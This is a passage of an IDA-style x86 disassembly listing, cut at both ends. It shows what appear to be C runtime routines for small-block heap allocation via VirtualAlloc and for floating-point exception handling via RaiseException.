ds:dword_460E98 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_413C5D: ; CODE XREF: sub_413BAF+95j pop edi pop esi retn sub_413BAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C60 proc near ; CODE XREF: sub_4138A6+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_413C72: ; CODE XREF: sub_413C60+19j test eax, eax jl short loc_413C7B shl eax, 1 inc ebx jmp short loc_413C72 ; --------------------------------------------------------------------------- loc_413C7B: ; CODE XREF: sub_413C60+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_413C90: ; CODE XREF: sub_413C60+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_413C90 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call ds:dword_41C164 ; VirtualAlloc test eax, eax jnz short loc_413CC3 or eax, 0FFFFFFFFh jmp loc_413D56 ; --------------------------------------------------------------------------- loc_413CC3: ; CODE XREF: sub_413C60+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_413D09 lea eax, [edi+10h] loc_413CD0: ; CODE XREF: sub_413C60+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_413CD0 loc_413D09: ; CODE XREF: sub_413C60+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_413D46 or [eax+4], edi loc_413D46: ; CODE XREF: sub_413C60+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_413D56: ; CODE XREF: sub_413C60+5Ej pop edi pop esi pop ebx leave retn sub_413C60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D5B proc near ; CODE XREF: sub_41237F+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_413F09 test bl, 1 jnz loc_413F02 add ebx, ecx cmp esi, ebx jg loc_413F02 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_413DD2 push 3Fh pop ecx mov [ebp+var_8], ecx loc_413DD2: ; CODE XREF: sub_413D5B+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_413E22 cmp ecx, 20h jnb short loc_413DFE mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_413E22 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_413E22 ; --------------------------------------------------------------------------- loc_413DFE: ; CODE XREF: sub_413D5B+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_413E22 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_413E22: ; CODE XREF: sub_413D5B+7Dj ; sub_413D5B+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_413EF0 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_413E5C push 3Fh pop edi loc_413E5C: ; CODE XREF: sub_413D5B+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_413EDE mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_413EB5 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_413EA8 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_413EA8: ; CODE XREF: sub_413D5B+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_413EDA ; --------------------------------------------------------------------------- loc_413EB5: ; CODE XREF: sub_413D5B+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_413ECB lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_413ECB: ; CODE XREF: sub_413D5B+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_413EDA: ; CODE XREF: sub_413D5B+158j shr edx, cl or [eax], edx loc_413EDE: ; CODE XREF: sub_413D5B+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_413EF3 ; --------------------------------------------------------------------------- loc_413EF0: ; CODE XREF: sub_413D5B+E5j mov edx, [ebp+arg_4] loc_413EF3: ; CODE XREF: sub_413D5B+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_414049 ; --------------------------------------------------------------------------- loc_413F02: ; CODE XREF: sub_413D5B+52j ; sub_413D5B+5Cj xor eax, eax jmp loc_41404C ; --------------------------------------------------------------------------- loc_413F09: ; CODE XREF: sub_413D5B+49j jge loc_414049 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_413F34 push 3Fh pop esi loc_413F34: ; CODE XREF: sub_413D5B+1D4j test byte ptr [ebp+var_4], 1 jnz loc_413FC3 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_413F4D push 3Fh pop esi loc_413F4D: ; CODE XREF: sub_413D5B+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_413F9C cmp esi, 20h jnb short loc_413F78 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_413F99 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_413F99 ; --------------------------------------------------------------------------- loc_413F78: ; CODE XREF: sub_413D5B+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_413F99 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_413F99: ; CODE XREF: sub_413D5B+214j ; sub_413D5B+21Bj ... mov ebx, [ebp+arg_4] loc_413F9C: ; CODE XREF: sub_413D5B+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_413FC3 push 3Fh pop esi loc_413FC3: ; CODE XREF: sub_413D5B+1DDj ; sub_413D5B+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_414040 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_414017 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41400A mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41400A: ; CODE XREF: sub_413D5B+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41403C ; --------------------------------------------------------------------------- loc_414017: ; CODE XREF: sub_413D5B+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41402D lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41402D: ; CODE XREF: sub_413D5B+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41403C: ; CODE XREF: sub_413D5B+2BAj shr edx, cl or [eax], edx loc_414040: ; CODE XREF: sub_413D5B+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_414049: ; CODE XREF: sub_413D5B+1A2j ; sub_413D5B:loc_413F09j push 1 pop eax loc_41404C: ; CODE XREF: sub_413D5B+1A9j pop edi pop esi pop ebx leave retn sub_413D5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_414051(int,int,double,int) sub_414051 proc near ; CODE XREF: sub_410CB2+51p ; sub_410DFB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:dword_42EB08, 0 jnz short loc_414086 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_414606 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_414086: ; CODE XREF: sub_414051+Aj push 0FFFFh mov ds:dword_45F844, 21h push [ebp+arg_C] call sub_414879 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_414051 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4140A4(int,int,double,double,int) sub_4140A4 proc near ; CODE XREF: sub_410CB2:loc_410D75p ; sub_410DFB:loc_410EBEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_4143EF add esp, 0Ch test eax, eax jnz short loc_4140E2 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41413C add esp, 18h loc_4140E2: ; CODE XREF: sub_4140A4+1Aj push [ebp+arg_0] call sub_4146D9 cmp ds:dword_42EB08, 0 pop ecx jnz short loc_414120 test eax, eax jz short loc_414120 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_414606 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_414120: ; CODE XREF: sub_4140A4+4Ej ; sub_4140A4+52j push eax call sub_41468E mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_414879 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4140A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41413C proc near ; CODE XREF: sub_4140A4+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41416E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41416E: ; CODE XREF: sub_41413C+23j test cl, 2 jz short loc_414181 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_414181: ; CODE XREF: sub_41413C+35j test cl, bl jz short loc_414193 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_414193: ; CODE XREF: sub_41413C+47j test cl, 4 jz short loc_4141A6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4141A6: ; CODE XREF: sub_41413C+5Aj test cl, 8 jz short loc_4141B9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4141B9: ; CODE XREF: sub_41413C+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41485C test al, bl jz short loc_414242 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_414242: ; CODE XREF: sub_41413C+FDj test al, 4 jz short loc_41424D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41424D: ; CODE XREF: sub_41413C+108j test al, 8 jz short loc_414258 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_414258: ; CODE XREF: sub_41413C+113j test al, 10h jz short loc_414262 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_414262: ; CODE XREF: sub_41413C+11Ej test al, 20h jz short loc_41426C mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41426C: ; CODE XREF: sub_41413C+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_4142AB cmp eax, 400h jz short loc_41429D cmp eax, 800h jz short loc_414291 cmp eax, ecx jnz short loc_4142B1 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_4142B1 ; --------------------------------------------------------------------------- loc_414291: ; CODE XREF: sub_41413C+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_4142A7 ; --------------------------------------------------------------------------- loc_41429D: ; CODE XREF: sub_41413C+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_4142A7: ; CODE XREF: sub_41413C+15Fj mov [eax], ecx jmp short loc_4142B1 ; --------------------------------------------------------------------------- loc_4142AB: ; CODE XREF: sub_41413C+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_4142B1: ; CODE XREF: sub_41413C+14Bj ; sub_41413C+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_4142DC cmp eax, 200h jz short loc_4142CF cmp eax, ecx jnz short loc_4142E9 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_4142E9 ; --------------------------------------------------------------------------- loc_4142CF: ; CODE XREF: sub_41413C+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_4142E7 ; --------------------------------------------------------------------------- loc_4142DC: ; CODE XREF: sub_41413C+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_4142E7: ; CODE XREF: sub_41413C+19Ej mov [eax], ecx loc_4142E9: ; CODE XREF: sub_41413C+189j ; sub_41413C+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41486A lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call ds:dword_41C16C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_414363 and dword ptr [esi], 0FFFFFFFEh loc_414363: ; CODE XREF: sub_41413C+222j test byte ptr [eax+8], 8 jz short loc_41436C and dword ptr [esi], 0FFFFFFFBh loc_41436C: ; CODE XREF: sub_41413C+22Bj test byte ptr [eax+8], 4 jz short loc_414375 and dword ptr [esi], 0FFFFFFF7h loc_414375: ; CODE XREF: sub_41413C+234j test byte ptr [eax+8], 2 jz short loc_41437E and dword ptr [esi], 0FFFFFFEFh loc_41437E: ; CODE XREF: sub_41413C+23Dj test [eax+8], bl jz short loc_414386 and dword ptr [esi], 0FFFFFFDFh loc_414386: ; CODE XREF: sub_41413C+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_4143BA dec ecx jz short loc_4143AE dec ecx jz short loc_4143A4 dec ecx jnz short loc_4143BC or byte ptr [esi+1], 0Ch jmp short loc_4143BC ; --------------------------------------------------------------------------- loc_4143A4: ; CODE XREF: sub_41413C+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_4143B6 ; --------------------------------------------------------------------------- loc_4143AE: ; CODE XREF: sub_41413C+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_4143B6: ; CODE XREF: sub_41413C+270j mov [esi], ecx jmp short loc_4143BC ; --------------------------------------------------------------------------- loc_4143BA: ; CODE XREF: sub_41413C+257j and [esi], edx loc_4143BC: ; CODE XREF: sub_41413C+260j ; sub_41413C+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_4143DC dec ecx jz short loc_4143D3 dec ecx jnz short loc_4143E5 and [esi], edx jmp short loc_4143E5 ; --------------------------------------------------------------------------- loc_4143D3: ; CODE XREF: sub_41413C+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_4143E3 ; --------------------------------------------------------------------------- loc_4143DC: ; CODE XREF: sub_41413C+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_4143E3: ; CODE XREF: sub_41413C+29Ej mov [esi], ecx loc_4143E5: ; CODE XREF: sub_41413C+291j ; sub_41413C+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41413C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143EF proc near ; CODE XREF: sub_4140A4+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41441A test byte ptr [ebp+arg_8], bl jz short loc_41441A push ebx call sub_41489C pop ecx and edi, 0FFFFFFF7h jmp loc_4145E4 ; --------------------------------------------------------------------------- loc_41441A: ; CODE XREF: sub_4143EF+15j ; sub_4143EF+1Aj test al, 4 jz short loc_414434 test byte ptr [ebp+arg_8], 4 jz short loc_414434 push 4 call sub_41489C pop ecx and edi, 0FFFFFFFBh jmp loc_4145E4 ; --------------------------------------------------------------------------- loc_414434: ; CODE XREF: sub_4143EF+2Dj ; sub_4143EF+33j test al, bl jz loc_41450E test byte ptr [ebp+arg_8], 8 jz loc_41450E push 8 call sub_41489C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_4144E6 cmp ecx, 400h jz short loc_4144BE cmp ecx, 800h jz short loc_414496 cmp ecx, eax jnz loc_414506 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41C790 fld ds:dbl_42E498 fnstsw ax sahf ja short loc_41448E fchs loc_41448E: ; CODE XREF: sub_4143EF+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_414504 ; --------------------------------------------------------------------------- loc_414496: ; CODE XREF: sub_4143EF+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41C790 fnstsw ax sahf jbe short loc_4144AE fld ds:dbl_42E488 jmp short loc_4144B6 ; --------------------------------------------------------------------------- loc_4144AE: ; CODE XREF: sub_4143EF+B5j fld ds:dbl_42E498 fchs loc_4144B6: ; CODE XREF: sub_4143EF+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_414504 ; --------------------------------------------------------------------------- loc_4144BE: ; CODE XREF: sub_4143EF+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41C790 fnstsw ax sahf jbe short loc_4144D6 fld ds:dbl_42E498 jmp short loc_4144DE ; --------------------------------------------------------------------------- loc_4144D6: ; CODE XREF: sub_4143EF+DDj fld ds:dbl_42E488 fchs loc_4144DE: ; CODE XREF: sub_4143EF+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_414504 ; --------------------------------------------------------------------------- loc_4144E6: ; CODE XREF: sub_4143EF+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41C790 fld ds:dbl_42E488 fnstsw ax sahf ja short loc_4144FE fchs loc_4144FE: ; CODE XREF: sub_4143EF+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_414504: ; CODE XREF: sub_4143EF+A5j ; sub_4143EF+CDj ... fstp qword ptr [ecx] loc_414506: ; CODE XREF: sub_4143EF+81j and edi, 0FFFFFFFEh jmp loc_4145E4 ; --------------------------------------------------------------------------- loc_41450E: ; CODE XREF: sub_4143EF+47j ; sub_4143EF+51j test al, 2 jz loc_4145E4 test byte ptr [ebp+arg_8], 10h jz loc_4145E4 push esi xor esi, esi test al, 10h jz short loc_414529 mov esi, ebx loc_414529: ; CODE XREF: sub_4143EF+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp ds:dbl_41C790 fnstsw ax sahf jz loc_4145D2 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41479B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_414574 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_4145C8 ; --------------------------------------------------------------------------- loc_414574: ; CODE XREF: sub_4143EF+17Aj fld [ebp+var_C] fcomp ds:dbl_41C790 fnstsw ax sahf jnb short loc_414586 mov edx, ebx jmp short loc_414588 ; --------------------------------------------------------------------------- loc_414586: ; CODE XREF: sub_4143EF+191j xor edx, edx loc_414588: ; CODE XREF: sub_4143EF+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_4145BC sub eax, ecx loc_41459F: ; CODE XREF: sub_4143EF+1CBj test byte ptr [ebp+var_C], bl jz short loc_4145AA test esi, esi jnz short loc_4145AA mov esi, ebx loc_4145AA: ; CODE XREF: sub_4143EF+1B3j ; sub_4143EF+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_4145B6 or byte ptr [ebp+var_C+3], 80h loc_4145B6: ; CODE XREF: sub_4143EF+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41459F loc_4145BC: ; CODE XREF: sub_4143EF+1ACj test edx, edx jz short loc_4145C8 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_4145C8: ; CODE XREF: sub_4143EF+183j ; sub_4143EF+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_4145D4 ; --------------------------------------------------------------------------- loc_4145D2: ; CODE XREF: sub_4143EF+14Ej mov esi, ebx loc_4145D4: ; CODE XREF: sub_4143EF+1E1j test esi, esi pop esi jz short loc_4145E1 push 10h call sub_41489C pop ecx loc_4145E1: ; CODE XREF: sub_4143EF+1E8j and edi, 0FFFFFFFDh loc_4145E4: ; CODE XREF: sub_4143EF+26j ; sub_4143EF+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_4145FB test byte ptr [ebp+arg_8], 20h jz short loc_4145FB push 20h call sub_41489C pop ecx and edi, 0FFFFFFEFh loc_4145FB: ; CODE XREF: sub_4143EF+1F9j ; sub_4143EF+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_4143EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_414606(int,int,int,int,int,int,double,int) sub_414606 proc near ; CODE XREF: sub_414051+2Bp ; sub_4140A4+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_4146B4 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_414671 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_414879 lea eax, [ebp+var_20] push eax call sub_41822D add esp, 0Ch test eax, eax jnz short loc_41466B push esi call sub_41468E pop ecx loc_41466B: ; CODE XREF: sub_414606+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_414671: ; CODE XREF: sub_414606+14j push 0FFFFh push [ebp+arg_20] call sub_414879 push [ebp+arg_0] call sub_41468E fld [ebp+arg_18] add esp, 0Ch leave retn sub_414606 endp ; =============== S U B R O U T I N E ======================================= sub_41468E proc near ; CODE XREF: sub_4140A4+7Dp ; sub_414606+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_4146A9 jle short locret_4146B3 cmp eax, 3 jg short locret_4146B3 mov ds:dword_45F844, 22h retn ; --------------------------------------------------------------------------- loc_4146A9: ; CODE XREF: sub_41468E+7j mov ds:dword_45F844, 21h locret_4146B3: ; CODE XREF: sub_41468E+9j ; sub_41468E+Ej retn sub_41468E endp ; =============== S U B R O U T I N E ======================================= sub_4146B4 proc near ; CODE XREF: sub_414606+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_42E3B0 loc_4146BB: 